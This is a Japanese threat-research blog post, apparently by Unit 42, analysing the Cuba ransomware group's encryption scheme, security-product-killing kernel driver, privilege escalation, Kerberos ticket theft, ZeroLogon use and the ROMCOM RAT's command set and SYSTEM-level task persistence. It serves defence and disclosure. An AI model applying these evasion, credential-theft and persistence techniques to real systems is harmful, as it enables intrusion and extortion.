Cubaランサムウェアに新たなニュース: Tropical Scorpiusからの挨拶状

Ransomware conceptual image, covering groups such as Cuba Ransomware aka Tropical Scorpius

This post is also available in: English (英語)

概要

Unit 42は2022年5月初旬からめずらしいツールとテクニックを使ってCubaランサムウェアを展開する脅威アクターを観測しています。私たちは、こちらの命名規則にしたがい、この脅威アクターをTropical Scorpiusの名前で追跡しています。

本稿は、同ランサムウェアの概要からはじめ、Cubaランサムウェアの展開にいたるまでに観測された振る舞いの変遷を中心に見ていきます。この脅威の振る舞いは1年以上一貫していましたが、最近、若干の変化が見られるようになりました。そこで本稿では、ランサムウェアの機能やアルゴリズムの概要、Tropical Scorpiusの使う戦術・技術・手順(TTP)の技術的詳細を解説します。とくに以下を中心に取り上げます。

  • Unit 42がROMCOM RATの名前で追跡している新たなマルウェアファミリ
  • 兵器化されたSYSTEMへのローカル権限昇格エクスプロイト
  • Unit 42がKerberCacheの名前で追跡している新たなKerberosツール
  • セキュリティ製品を標的とするカーネルドライバ
  • ZeroLogonハックツール使用の識別

パロアルトネットワークスのお客様は、弊社のクラウド型セキュリティサービス Advanced Threat Preventionを通じ、本稿に説明する脅威からの保護を受けています。またパロアルトネットワークスのお客様はCortex XDRWildFireのマルウェア解析からの保護を受けています。

侵害の懸念があり弊社にインシデントレスポンスに関するご相談をなさりたい場合は、infojapan@paloaltonetworks.com まで電子メールにてご連絡ください (ご相談は弊社製品のお客様には限定されません)。また弊社サイバーリスクマネジメントサービスをリクエストいただければ予防的措置を講じることもできます。

本稿に関連して観測されたテクニックやそれに対応してとるべき行動指針全体 (CoA) を視覚化した内容については Unit 42のATOMビューアからご確認ください。

関連するUnit 42のトピック Ransomware
本稿で取り上げるCubaランサムウェアを展開する脅威アクターグループ名 Tropical Scorpius, UNC2596

目次

Tropical Scorpius (Cubaランサムウェア)概要: Cubaランサムウェアの展開方法
Tropical Scorpiusの被害者学
Industrial SpyマーケットプレイスとTropical Scorpius
ランサムウェアの機能
防衛回避
ローカル特権昇格
ラテラルムーブへのチケット
ドメイン管理者へ
コマンド&コントロール
ROMCOM 2.0
保護と緩和策
結論
IoC
追加リソース

Tropical Scorpius (Cubaランサムウェア)概要: Cubaランサムウェアの展開方法

Cuba ランサムウェアファミリは2019年12月が初認のランサムウェアファミリです。このランサムウェアファミリの背後にいる脅威アクターはその後戦術やツールを変更し、2022年にはさらに勢力を増しています。このランサムウェアは、歴史的にはHancitorを通じて配布されてきました。Hancitorじたいは、悪意のある添付ファイルによって配信されます。このほか、Tropical Scorpiusは、ProxyShellProxyLogonなどのMicrosoft Exchange Serverの脆弱性を悪用する様子も確認されています。

このランサムウェアグループは、侵害被害にあったとされる組織を暴露するリークサイトで二重恐喝を行います(図1aおよび図1b参照)。ただしこのグループは2019年の初認時にはリークサイトを持っておらず、その後MazeREvilなどほかのランサムウェアグループにヒントを得てリークサイトを追加したものと思われます。Cubaランサムウェアのリークサイトには有料セクションもあり、そこでは希望者に売却されたリーク情報が共有されています。

図1a. Cubaランサムウェア攻撃グループのリークサイトのスクリーンショット。無料で利用可能なコンテンツのセクション
Cubaランサムウェア攻撃グループのリークサイトの有料セクションのスクリーンショット。ここでデータが販売されているこの図には[view all] というオプションとある組織が記載されている
図1b. Cubaランサムウェア攻撃グループのリークサイトの有料セクションのスクリーンショット。ここでデータが販売されている

Tropical Scorpiusの被害者学

最新のUnit 42 ランサムウェア脅威レポートには、33組織に影響を与えたCubaランサムウェアの観測結果が記載されています。またこれら33組織とは別に、2022年7月時点で、「専門・法律サービス」、「州政府・地方政府」、「製造」、「輸送・物流」、「卸売・小売」、「不動産」、「金融サービス」、「ヘルスケア」、「ハイテク」、「公益事業・エネルギー」、「建設」、「教育」など複数の業種にまたがる27の組織にもTropical Scorpiusは影響を及ぼしています。このランサムウェアグループは2019年の登場以来、合わせて60の組織をリークサイトに暴露しました。

ただし被害者が身代金を支払えばデータは公開されないことが多いことから、ほんとうの被害者数はリークサイトが示す数より多いものと思われます。FBIによるとCubaランサムウェアグループは身代金支払いで少なくとも4,390万ドル(およそ59億円)を稼ぎだし、そのさい少なくとも7,400万ドル(およそ100億円)を要求していたとのことです。

Cubaランサムウェアのリークサイトに記載された組織の業種の分布は多いものから順に 「製造」、「専門・法律サービス」、「金融サービス」、「建設」、「ハイテク」、「卸売・小売」、「不動産」、「州政府・地方政府」、「輸送・物流」、「公共事業・エネルギー」、「教育」、「ヘルスケア」
図2. Cubaランサムウェアのリークサイトに記載された組織の業種別分布

現在活動継続中のほかのランサムウェアグループとはちがい、このランサムウェアのリークサイトの被害組織は、地理的分布に偏りが見られます。同ランサムウェアグループに影響を受けた被害者の実数がリークサイトにすべて反映されているわけではないにせよ、同グループの標的に関しては、ここからある程度、目星がつけられます。Cubaランサムウェアのリークサイトに記載された60件のうち40件は所在地が米国で、これは侵害を受けたとされる組織全体の66%に相当します。これにくらべ、LockBitのリークサイトに記載された被害組織のうち米国が所在地の組織はおよそ3割に過ぎません。

Cubaランサムウェアの標的となった組織の地理的分布(同グループのリークサイトにもとづく)最も集中して狙われたのは米国で、カナダ、イタリア、オーストラリア、そのほか世界中の国々が続いている
図3. Cubaランサムウェアの標的となった組織の地理的分布(同グループのリークサイトにもとづく)

Industrial SpyマーケットプレイスとTropical Scorpius

2022年5月、BleepingComputerが「Industrial Spyマーケットプレイスがランサムウェア事業に進出」と報じました。2022年4月の登場以降、Industrial Spyは「攻撃アクターが利用登録すれば侵害被害組織から盗まれたデータを購入できるサイト」として知られるようになりました。悪意のある活動という意味での接点はありますが、同マーケットプレイスのランサムウェア事業への進出にはTropical Scorpiusとのつながりがあるように見受けられます。

図4. Industrial Spyのランディングページ

BleepingComputerはこのなかで「Industrial Spyランサムウェアの身代金要求メモはCubaランサムウェアの身代金要求メモに酷似しており両者は同一の連絡先を記載している」としています。ランサムウェアグループは、ほかのグループの身代金要求メモをくすねて自分たちのサンプルにすることが多いのですが、Industrial SpyとCubaランサムウェアとの関係はそれにはとどまらないと考えられます。

Unit 42は、Cubaランサムウェアのペイロードが侵害システム上のファイルを暗号化するさい、ファイルに.cubaという拡張子を追加する様子を確認しました。ただしその後、流出したデータはIndustrial Spyマーケットプレースに販売目的で掲載されている様子が確認されています。

Tropical Scorpiusの脅威アクターがなぜ独自のリークサイトでなくIndustrial Spyマーケットプレイスを利用することにしたのかはわかっていませんが、BleepingComputerが公表した調査結果やこの不可思議なインシデントに鑑みるに、両者は当初考えられていたより深く関わっているものと考えられます。

ランサムウェアの機能

Tropical Scorpiusの脅威アクターがつねにツールキットを開発・更新していることは明らかですが、中核となるCubaランサムウェアのペイロードは2019年の発見以来ほぼ同じままです。暗号アルゴリズムはいまもWolfSSLのオープンソースリポジトリから取得されています。具体的にいうと、ファイル暗号化にはChaChaが、鍵の暗号化にはRSAが利用されています。

CubaランサムウェアとWolfSSLのRSA暗号化機能とのコードの重複。スニペットの最初の行はv14 = a3;
図5. CubaランサムウェアとWolfSSLのRSA暗号化機能とのコードの重複。

多くのランサムウェアファミリ同様、Cubaランサムウェアも対象ファイルをそのサイズに応じて異なる方法で暗号化します。ファイルサイズが0x200000バイト未満ならファイル全体が暗号化されます。そうでなければ、Cubaランサムウェアは0x100000バイトのチャンク単位でファイルを暗号化します。また暗号化されたチャンク同士の間隔が全体のサイズしだいで変わります。たとえばサイズが0x200000バイトから0xA00000バイトまでのファイルであれば、ファイルの終わりまで、0x400000バイトの間隔をあけて変更されます。

ファイル暗号化前にチャンクの間隔を決めているところ。スニペットの最初の行は *a4 = 0xFFFFFFF;
図6. ファイル暗号化前にチャンクの間隔を決めているところ。
ファイルのサイズ チャンクのサイズ チャンク同士の間隔
0x200000 未満  全サイズ 対象外
0x200000 から 0xA00000 0x100000  0x400000
0xA00000 から 0x3200000 0x100000  0x800000
0x3200000 から 0xC800000 0x100000  0x1000000
0xC800000 から 0x280000000 0x100000  0xC800000
0x280000000 以上 0x100000  0x1F400000

表1 Cubaランサムウェアのファイルサイズによるチャンクの間隔

暗号化された各ファイルの先頭には1024バイトのヘッダが付加されます。このヘッダには、マジックナンバーとしてFIDEL.CA(キューバをテーマにしていることから「カストロ議長」として知られるフィデル カストロ氏を指していると思われる)とファイル固有のChaChaキー、nonceを含むRSA 4096暗号化ブロックが続きます。ファイルの暗号化に成功すると、ファイル名に拡張子.cubaが付加されます。

FIDEL.CAのマジックナンバーの後に暗号化されたRSAのブロブが続く
図7 FIDEL.CAのマジックナンバーの後に暗号化されたRSAのブロブが続く

Trend Microも解説していたとおり、Cubaランサムウェアの開発者は、実行時に終了対象とするプロセスやサービスのリストをつくり、暗号化の対象から除外するディレクトリや拡張子も追加しています。

標的とされるプロセスとサービス:
MySQL
MySQL82SQLSERVERAGENT
MSSQLSERVER
SQLWriter
SQLTELEMETRY
MSDTC
SQLBrowser
sqlagent.exe
sqlservr.exe
sqlwriter.exe
sqlceip.exe
msdtc.exe
sqlbrowser.exe
vmcompute
vmms
vmwp.exe
vmsp.exe
outlook.exe
MSExchangeUMCR
MSExchangeUM
MSExchangeTransportLogSearch
MSExchangeTransport
MSExchangeThrottling
MSExchangeSubmission
MSExchangeServiceHost
MSExchangeRPC
MSExchangeRepl
MSExchangePOP3BE
MSExchangePop3
MSExchangeNotificationsBroker
MSExchangeMailboxReplication
MSExchangeMailboxAssistants
MSExchangeIS
MSExchangeIMAP4BE
MSExchangeImap4
MSExchangeHMRecovery
MSExchangeHM
MSExchangeFrontEndTransport
MSExchangeFastSearch
MSExchangeEdgeSync
MSExchangeDiagnostics
MSExchangeDelivery
MSExchangeDagMgmt
MSExchangeCompliance
MSExchangeAntispamUpdate
Microsoft.Exchange.Store.Worker.exe

除外されるディレクトリ:
\windows\
\program files\microsoft office\
\program files (x86)\microsoft office\
\program files\avs\
\program files (x86)\avs\
\$recycle.bin\
\boot\
\recovery\
\system volume information\
\msocache\
\users\all users\
\users\default user\
\users\default\
\temp\
\inetcache\
\google\

除外される拡張子:
.exe
.dll
.sys
.ini
.lnk
.vbm
.cuba

またランサムウェアがドロップする身代金要求メモにも大幅な変更が見られます。Torサイトだけに依存するのを避け、TOXによるコミュニケーションも提供するようになりました。TOXには安全にメッセージ交換を行う機能があり、ランサムウェアグループの間で人気が高まりつつあります。

身代金要求メモのサンプル。メモは「Greetings!」から始まっている。その後は、「Unfortunately we have to report you that your company were compromised. All your files were encrypted and you can't restore them without our private key. Trying to restore it without our help may cause complete loss of your data. Also we researched whole your corporate network and downloaded all your sensitive data to our servers. If we will not get any contact from you in 3 next days we will public it in our news site. You can fine it there.」とつづく。その後、脅威アクターに連絡をとる方法の詳細が説明されている
図8. Cubaランサムウェアグループがドロップする身代金要求メモ

防衛回避

Unit 42はランサムウェア展開前のTropical Scorpiusを観測しました。彼らは興味深いツールやテクニックを複数使って検出回避や侵害環境内のラテラルムーブを行っていました。

Tropical Scorpiusはあるドロッパーを使ってファイルシステムにApcHelper.sysという名前のカーネルドライバを書き込んでいました。このカーネルドライバはセキュリティ製品を狙って終了させます。ドロッパーは署名されていませんでしたが、カーネルドライバはLAPSUSによるNVIDIAのリークで見つかった証明書で署名されていました。

カーネルドライバのデジタル署名。このスクリーンショットは署名者がNVIDIA corpとなっており、シリアル番号も表示されている。
図9 カーネルドライバのデジタル署名。

カーネルドライバのドロッパー/ローダーは、実行時に複数のWindows APIを使ってリソースセクションを検索し、Driverというリソースタイプ名をロードします。このDriverは、埋め込まれたPEファイルであり、またカーネルドライバでもあります。このカーネルドライバがこの後に続くAPI呼び出しで最終的にファイルシステムに書き込まれます。

カーネルドロッパーのリソース部分。このスクリーンショットは「Driver > 143 : 2052」と表示している。
図10 カーネルドロッパーのリソース部分。

このカーネルドライバがファイルシステムに書き込まれると、カーネルドライバのローダーが対象のファイルパスに対し、cmd.exe経由で del コマンドの引数を実行します。

このカーネルドライバがファイルシステムに書き込まれると、カーネルドライバのローダーが対象のファイルパスに対し、cmd.exe経由で del コマンドの引数を実行します。

その後、カーネルドライバのローダーは、cmd.exeで新たなサービスを作成し、以下の引数を実行してカーネルドライバのサービスを設定します。

その後、カーネルドライバのローダーは、cmd.exeで新たなサービスを作成し、図の引数を実行してカーネルドライバのサービスを設定します。

次にこのカーネルドライバのローダーは、セキュリティ製品を終了させる役割を担うカーネルドライバをファイルシステム上にコピーします。

次にこのカーネルドライバのローダーは、セキュリティ製品を終了させる役割を担うカーネルドライバをファイルシステム上にコピーします。

ドロップ・ロードされるこのカーネルドライバの主な機能は、機能の実行のために追加でカーネルAPIを解決することと、セキュリティ製品のリストを終了対象にすることです。

これらの追加のAPIでは、対象API名を文字列定数を使って解決しています。以下の各Windows APIをMmGetSystemRoutineAddressへの関数呼び出しで使って、ここから対象関数へのポインタを得ています。以下は、サンプル内で発見された、解決された追加のカーネルAPIのリストです。

カーネルドライバのランタイムAPI。Cubaランサムウェアのサンプル内で発見されたもの。
図11 カーネルドライバのランタイムAPI。

この終了対象となるセキュリティ製品のリストは、Mandiantが以前解説した「BURNTCIGAR」と呼ばれるツールで観測されたリストと重複しています。この特定のカーネルドライバはMandiantが観測したものの亜種です。

図12. 終了対象とされたセキュリティ製品。

追加のAPIを解決後、セキュリティ製品を対象とするプロセスが開始されます(対象の製品は上の図12に記載)。このプロセスはdo-whileループ(以下図13参照)を用意していて、そのなかでシステム上で実行されているプロセスが対象のセキュリティ製品項目に該当するかどうかを確認しようとします。この該当の有無のチェックは次のように行われます。まず各ThreadIDを調べ、関数PsLookupThreadByThreadIdを呼び出し、対象スレッドのETHREAD構造体へのポインタを見つけます。ETHREAD構造体はカーネルオブジェクトです。この構造体は、重要プロセス/スレッド構造体へのさまざまな参照や、オペレーティングシステムがタスクの処理やCPUでの実行にさいして必要とするオブジェクトを保持しています。ここで返されたETHREADへのポインタを、関数PsIsThreadTerminatingが使い、対象のスレッドが終了していないことを確認します。

あるスレッドオブジェクトが存在している場合は、関数PsGetThreadProcessを使って、そのスレッドが属するプロセスを見つけます。この戻り値はPEPROCESSです。PEPROCESSは、プロセスオブジェクトをカーネルオブジェクトとして表したもので、プロセスに関連する情報が格納されている場所へのポインタを保持しています。対象のスレッドにPEPROCESSが存在している場合は、デコンパイルされた出力のインスタンス内にある変数にImageFileNameオフセットが代入されます。図13の「v3」という名前の変数がその変数です。この変数「v3」には、do-whileループ内で現在処理対象となっているスレッド/プロセス(コンピュータシステム上の任意のアクティブなプロセス)のプロセスイメージファイル名が格納されることになります。

次に、do-whileループ内のif-then文でプロセスイメージファイル名のチェックを行います。if-then文では、strstr関数に2つの引数を渡しています。1つめの引数はPEPROCESS構造体内のImageFileNameで、これにはプロセスイメージファイル名が入っています。2つめの引数は検索対象のセキュリティ製品名の部分文字列で、これが1つめの引数と比較されます。ここではたとえば「ImageFileNameのプロセス名文字列に『Sophos』という名前が存在するか?」について確認しています。

比較が合致していれば、sub_140001BE0という名前の次の関数(図13で呼び出されている関数)が、「対象スレッドのステータスコードがSTATUS_PENDINGに設定されているかどうか」を確認します。ここで真と評価されれば、べつのサブルーチンをZwTerminateProcessを使って呼び出し、対象スレッドを終了させます。対象スレッドオブジェクトへの参照は解除(デリファレンス)され、do-whileループはふたたび次のスレッドに移って、終了評価を行います。

デコンパイルしたカーネルドライバのサンプル。この図では、関数sub_140001BE0が呼び出されている様子がわかる。
図13. デコンパイルしたカーネルドライバのサンプル。

Tropical Scorpiusの戦術変更は、期限切れの正規NVIDIA証明書を使っている点と、セキュリティ製品の終了を狙い独自のドライバを使っている点です。以前のバージョンの脆弱なBURNTCIGARドライバでは、文書化されていないIOCTL(Input/Output Controlシステムコール)を悪用する様子が観測されていたことを踏まえると、これらは注目すべき変更点といえます。

ローカル特権昇格

Tropical Scorpiusが使うローカル権限昇格ツールは当初、Webホスティングプラットフォームのtmpfiles[.]orgから、PowerShellのInvoke-WebRequestを使ってダウンロードされていました。

Unit 42はこのアクターがCVE-2022-24521(Common Log File System: CLFS)の脆弱性を悪用するバイナリを使う様子を観測しました。このエクスプロイトはCLFS.sysにおける論理エラー、具体的にはCClfsBaseFilePersisted::LoadContainerQ()関数に存在する問題を悪用したものです。形式不良のBLFファイルを使い、ユーザーモードアドレスをもつコンテナコンテキストオブジェクトの pContainerフィールドを破損させることにより、コード実行権限を得ます。このコード実行権限でSystemトークンを盗んで特権昇格します。この脆弱性の詳細とエクスプロイト戦略は、2022年4月25日にPixiePoint SecurityのSergey Kornienko氏が提供しています。

Tropical Scorpiusの脅威アクターは、同氏による投稿をエクスプロイトを作るうえで参考にした可能性が高いと思われます。たとえば、パイプ属性のヒープエクスプロイト手法でヒープスプレー攻撃を行う、といったエクスプロイト戦略が、同氏の説明するものと同一でした。

この技術については、2020年のSSTIC(Symposium on Information and Communications Technology Security)で、SynactivのCorentin Bayet氏とPaul Fariello氏が詳しく解説しています。

ラテラルムーブへのチケット

Tropical Scorpiusの脅威アクターは初期のシステム偵察にさまざまなツールを使っていました。そのなかにはADFindとNet Scanが含まれていましたが、これらはWebホスティングプラットフォームtmpfiles[.]orgから、PowerShellのInvoke-WebRequestを使ってダウンロードされていました。これら2つのツールは意図を隠蔽するため短縮名で同一のシステムにドロップされていました。

また、権限の低いシステムでクレデンシャルを準備・収集するのに、PowerShellベースのスクリプトのGetUserSPNs.ps1が使われていました。この特定スクリプトはサービスアカウントとして使用されているユーザーアカウントを特定することができるもので、3つの異なるシステム上で確認されました。脅威アクターはこのプロセスを使い、狙う価値のあるアカウントをピンポイントで特定し、それらのアカウントに関連するActive DirectoryのKerberosチケットを取得し、取得したKerberosチケットをKerberoastingと呼ばれる技術によりオフラインでクラックして収集しました。

このクレデンシャル窃取に関連する追加のアクティビティがGetUserSPNs.ps1の使用からおよそ1週間後に観測されました。 このときは、ユーザーのワークステーション上のユーザーのドキュメントフォルダにMimikatzがzipファイルとして書き込まれる様子が観測されました。Mimikatzは著名なクレデンシャルスティーラーで、オペレーティングシステム上でクレデンシャルの存在しうるさまざまな場所を標的とするオプションが多数用意されています。

Mimikatzが観測された頃、別のワークステーションではカスタムハックツールが観測されました。このカスタムハックツールは、ホストのLSASSメモリからキャッシュされたKerberosチケットを抽出することを意図したもので、ユーザーのドキュメントフォルダにドロップされました。

Unit 42は、Tropical Scorpiusが使うこのKerberosツールを、その全般的な目的にもとづき、「KerberCache」と命名しました。以下図14はツールの出力画面のスクリーンショットで、ツールの生成した解析済みデータを表示しています。

Unit 42は、Tropical Scorpiusが使うこのKerberosツールを、その全般的な目的にもとづき、「KerberCache」と命名しました。ツールの出力画面のスクリーンショット。ツールの生成した解析済みデータを表示している。
図14 KerberCacheがチケットを抽出したようす

内部に目を向けると、KerberCacheはAPIのLsaConnectUntrustedを呼び出して、以降の呼び出しに使うハンドルを取得します。ハンドルが返されると、続いてLsaLookupAuthenticationPackageを呼び出しますが、そのさい、Kerberosという名前のパッケージと、先のLsaConnectUntrustedAPI呼び出しで得たハンドルを渡します。この関数の処理が正常に終了すると、KerberCacheはAPI LsaCallAuthenticationPackageを呼び出します。以下の図15はこの関数が呼び出されたさいのコントロールフローのフォーマットをデコンパイルしたスニペットで、パースが実行されている様子を示しています。

デコンパイルしたサンプル。チケットがパースされている。この図はこの関数が呼び出されたさいのコントロールフローのフォーマットをデコンパイルしたスニペットで、パースが実行されている様子を示しています。
図15. デコンパイルしたサンプル。チケットがパースされている。

キャッシュされたKerberosチケットの取得が成功すると、これらのチケットはbase64エンコードを行う関数に渡され、ツール実行中のカレントワーキングディレクトリに書き込まれます。このツールの命名規則の出力は、[user@servername]_[encryption_type].[ticket_number].kirbiという形式のセクションに分解できます。ファイルシステムに書き込まれる実際のチケット命名規則は、krbtgt@CORP.INTERNAL_18.0.kirbi.という出力サンプルのような内容になります。

デコンパイルしたサンプルがチケットをエンコードしているところ。このツールの命名規則の出力は、[user@servername]_[encryption_type].[ticket_number].kirbiという形式のセクションに分解できる。
図16. デコンパイルしたサンプルがチケットをエンコードしているところ。

ドメイン管理者へ

Tropical Scorpiusは当初、PowerShellのInvoke-WebRequestを使い、Webホスティングプラットフォーム tmpfiles[.]orgから自分たちが使うDomain Adminツールをダウンロードしていました。このサンプルは、ThemidaのAnti-VM機能を使ってパックされていました(Themidaは著名商用パッカー)。またこのサンプルはファイル名をFilezillaに偽装していました。

実行時、仮想化環境で動作していることがわかると、このパッカーは次のようなメッセージを表示します。

図17 Themida Anti-VM のサンプル。

ハックツールに紐づいた独自コマンド群は、Zero.exeが高い確度でZeroLogonハックツールであることをうかがわせます。ZeroLogonハックツールは、CVE-2020-1472を悪用してドメインコントローラにNTLMハッシュを要求することにより、ドメイン管理者 (DA) の権限を奪取する目的で使われます。

ZeroLogonハックツールは、CVE-2020-1472を悪用してドメインコントローラにNTLMハッシュを要求することにより、ドメイン管理者 (DA) の権限を奪取する目的で使われます。
図18. ZeroLogonハックツールがパックしたサンプル。

数あるマルウェアファミリのなかでもクライムウェア界隈で攻撃チェーン利用に人気を集めているとされるのがこのZeroLogonハックツールで、このツールはQbotHancitorが関連する侵入との重複がみられています。

Command and Control (コマンド&コントロール)

前述のツール群に加え、Unit 42は、独自のコマンド&コントロール(C2)プロトコルを含むカスタムリモートアクセストロージャン/バックドアも発見しています。バイナリに含まれている文字列とその機能から、私たちはこれを「ROMCOM RAT」と名づけました。

ROMCOM RATは2つあるエクスポートのいずれか1つを使って実行できます。

ServiceMain
startWorker

どちらのエクスポートも同じ関数の実行につながりますが、違いは引数として渡される文字列です。ServiceMainは文字列_inetを渡し、startWorkerは文字列_fileを渡します。この文字列ひとつでサンプルの実行フローは完全に異なるものになります。ServiceMainではサンプルがC2サーバーにビーコンを発信しますが、startWorkerではサンプルがシステム上にバックドアを開いて接続を待ち受けます。

ServiceMainのエクスポート

ServiceMainのエクスポートを実行すると、ROMCOMは以下のコマンドラインを実行します。

C:\\Windows\\System32\\rundll32.exe
C:\\Windows\\System32\\comDll.dll,startWorker

これがstartWorkerのエクスポート実行につながります。ROMCOMが最初にサービス経由で実行されたと仮定すると、これによって両エクスポートが単一マシン上でアクティブになることになります。

ROMCOMサンプルをrundll32.exe経由でstartWorker引数をつけて実行
図19 ROMCOMサンプルをrundll32.exe経由でstartWorker引数をつけて実行

そこからROMCOMはシステム情報とユーザー情報を収集し、ハードコードされたC2サーバーにWinHTTP API経由で送信しようとします。成功するとレスポンスがパースされ、しかるべく処理されます。

ROMCOMはICMP機能を提供している。スニペットの最初の行はdoICMPRequests = 0。
図20 ROMCOMはICMP機能を提供している
C2 から受信したパケットのコマンド処理。スニペットの1行目はmenmove(&v38, receivedData, 4096u164)。
図21. C2 から受信したパケットのコマンド処理。

接続が失敗すると、ROMCOMはICMPリクエストでC2サーバーに接続して通信しようとします。IcmpCreateFile()IcmpSendEcho()などのWindows API関数を使い、レスポンスを受信するまでサーバーにシステム情報とユーザー情報の再送信を試みます。レスポンスを受けとると、HTTPレスポンスのパースとおなじ方法でパースされます。

ICMPリクエスト機能。レスポンスを受けとると、HTTPレスポンスのパースとおなじ方法でパースされます。
図22. ICMPリクエスト機能。

レスポンスの4バイト目が9の場合、ROMCOMは120,000 ms(120秒)スリープします。レスポンスの4バイト目が5の場合、レスポンスにはフォローアップデータのサイズが含まれています。このため、まずはメモリを確保し、その後、最後に使用されたプロトコルに応じてHTTPかICMPでC2に2回目のリクエストを行います。

この2回目のリクエストで受信したデータはある関数に渡されます。この関数はローカルアドレス127.0.0[.]3に5555〜5600の間のポートで接続し、自分に渡されたデータをC2に送信します。その後この関数がreturnすると、ROMCOMは127.0.0[.]2:5555にバインドしてそこで接続を待ち受け、受け取ったデータがあればC2サーバーに転送します。

その後この関数がreturnすると、ROMCOMは127.0.0[.]2:5555にバインドしてそこで接続を待ち受け、受け取ったデータがあればC2サーバーに転送します。
図23. ROMCOMのstartWorkerプロセスがホストしたローカルソケットサーバーに接続する
ということで、次はそのstartWorkerのエクスポートの説明をします。

startWorkerのエクスポート

startWorkerのエクスポートは文字列_fileをROMCOMのmain関数に渡します。この結果、ServiceMainエクスポートで実行されたコードはスキップされます。その代わりstartWorkerはまずソケットオブジェクトを開いてIP 127.0.0[.]3:5555にバインドしようとします。このポートがすでに使用されている場合、ROMCOMはポート番号をインクリメントして再度バインドを試みます。このループはROMCOMが未使用のポートにバインドされるか、ポート番号の値が5600に達するまで続きます。5600に達した場合は5554に設定してからループを再開します。

ローカルソケットサーバーの設定。コメントで「startWorker export」と「127[.]0[.]0[.]3」をハイライト
図24. ローカルソケットサーバーの設定。
うまく未使用ポートにバインドされたROMCOMは、着信する接続をリッスンしはじめます。これに対して接続を行うのがServiceMainのエクスポートを実行したプロセスです。接続が着信すると、接続してきたクライアントからのリクエストを処理するスレッドが生成されます。

コマンドハンドラ。使用可能なコマンド一覧は表2に示す通り。
図25 コマンドハンドラ。

以下の表2に使用可能なコマンドとその目的を示します。

コマンドの値 目的
1 接続されているドライブの情報を返す
2 指定されたディレクトリのファイル一覧を返す
3 %ProgramData%フォルダ内でsvchelper.exeという名前でリバースシェルを起動する
4 IShellDispatchを使ってファイルをコピーしC2にデータをZIPファイルとしてアップロードする
5 データをダウンロードして%ProgramData%フォルダ内のworker.txtというファイルに書き込む
6 指定したファイルを削除する
7 指定したディレクトリを削除する
8 PIDを偽装(スプーフィング)してプロセスを生成する
9 このコマンドの対象はServiceMainのみ。このコマンドをC2から受け取るとプロセスは120,000 ms (120秒)スリープする
10 実行中のプロセスをイテレートしてPIDの一覧を収集する

表2 サポートされるバックドアコマンドとその機能

ようするにこの特定の実行形態では、まずROMCOMサンプルをサービスとして実行し、HTTP/ICMPリクエストでC2サーバーとコマンドをやりとりします。そこで得られたコマンドは、rundll32.exe経由で実行されたROMCOMサンプルに渡されます。次にこれらのコマンドが実行され、その実行結果が、サービスとして実行されているROMCOMのペイロードに返されます。最後に、HTTP/ICMPリクエスト経由で結果をC2サーバーに渡します。

ROMCOM 2.0

ROMCOMはいまも活発に開発が続いているようです。2022年6月20日に類似サンプルがVirusTotal(VT)にアップロードされたことを突き止めたのですが、このサンプルは先のものと同一のC2サーバーと通信していました。

元のサンプルの日付が2022年4月10日なのに対し、今回のサンプルはファイルヘッダのタイムスタンプが2022年5月28日で、サイズはおよそ400KB大きくなっていました。startWorkerServiceMainのエクスポートは以前とおなじですが、今回はstartInetという3つめのエクスポートが含まれていました。また、サンプル内に含まれるデバッグ文字列が増えている点にも着目すべきでしょう。同サンプルは開発完了前にアンチウイルスソフトウェアに検出されていた可能性が考えられます。当該VirusTotalアップローダーID (22b3c7b0)が過去に数百万件のファイルをアップロードしている点も、この推測を裏付けるものとなっています。ある一個人自らがこれほどの数をアップロードした可能性は低いでしょう。

このバージョンでは、ServiceMainはROMCOM 2.0のサンプルを2回実行していました。最初にstartInetのエクスポートを実行し、次にstartWorkerのエクスポートを実行していました。ただし元のROMCOMサンプルのように単純にCreateProcessAを呼び出すのではなく、実行にCOMオブジェクトを好んで使っている点がちがっていました。

startInetのエクスポートとstartWorkerのエクスポートを実行しているところ。
図26. startInetのエクスポートとstartWorkerのエクスポートを実行しているところ。

各プロセスは、タスクスケジューラの提供するさまざまなCOMインタフェースを使い、システムタスクとして生成されます。ROMCOM2.0ではまずITaskService->GetFolderを呼び出してタスクのルートフォルダを取得します。その後、作成対象のタスクと同名の既存タスクがあれば、それらをITaskFolder->DeleteTaskで削除します。

タスク名 エクスポート
task7 startInet
task6 startWorker
task1 startWorker (startInetの実行時にまだ実行されていない場合)

表3 タスクスケジューラのCOMインタフェース経由で登録されるタスク名

ITaskService->NewTaskで空のタスクが作成され、その後セキュリティプリンシパルが修正されます。IPrincipal->put_Idで識別子がNT AUTHORITY\\SYSTEMに、IPrincipal->LogonTypeでログオンの種類がTASK_LOGON_INTERACTIVE_TOKENに、IPrincipal->put_RunLevelでRunLevelプロパティがTASK_RUNLEVEL_HIGHESTに設定されます。

SYSTEM権限でのタスク作成。ITaskService->NewTaskで空のタスクが作成され、その後セキュリティプリンシパルが修正されます。IPrincipal->put_Idで識別子がNT AUTHORITY\\SYSTEMに、IPrincipal->LogonTypeでログオンの種類がTASK_LOGON_INTERACTIVE_TOKENに、IPrincipal->put_RunLevelでRunLevelプロパティがTASK_RUNLEVEL_HIGHESTに設定されます。
図27. SYSTEM権限でのタスク作成。

IRegistrationTrigger->PutDelayで文字列「PT0S(「P」は接頭辞、「T」は日時のセパレータ文字、「S」は「秒」を表す)」を指定し、タスクに「0秒の遅延」が設定されます。つまり、タスクは生成後すぐに実行されます。

IRegistrationTrigger->PutDelayで文字列「PT0S(「P」は接頭辞、「T」は日時のセパレータ文字、「S」は「秒」を表す)」を指定し、タスクに「0秒の遅延」が設定されます。つまり、タスクは生成後すぐに実行されます。
図28 タスクトリガーの作成。遅延が0秒に設定されている。

最後に、タスクにアクションが設定されます。アクションパスはrundll32.exeに、引数はC:\\Windows\\system32\\mskms.dll,ARGUMENTに設定されます。なおこのARGUMENTは、渡されたエクスポートに応じ、startWorkerまたはstartInetのいずれかです。

最後に、タスクにアクションが設定されます。アクションパスはrundll32.exeに、引数はC:\\Windows\\system32\\mskms.dll,ARGUMENTに設定されます。なおこのARGUMENTは、渡されたエクスポートに応じ、startWorkerまたはstartInetのいずれかです。
図29. タスクアクションの作成。rundll32.exeがmskms.dllを実行。

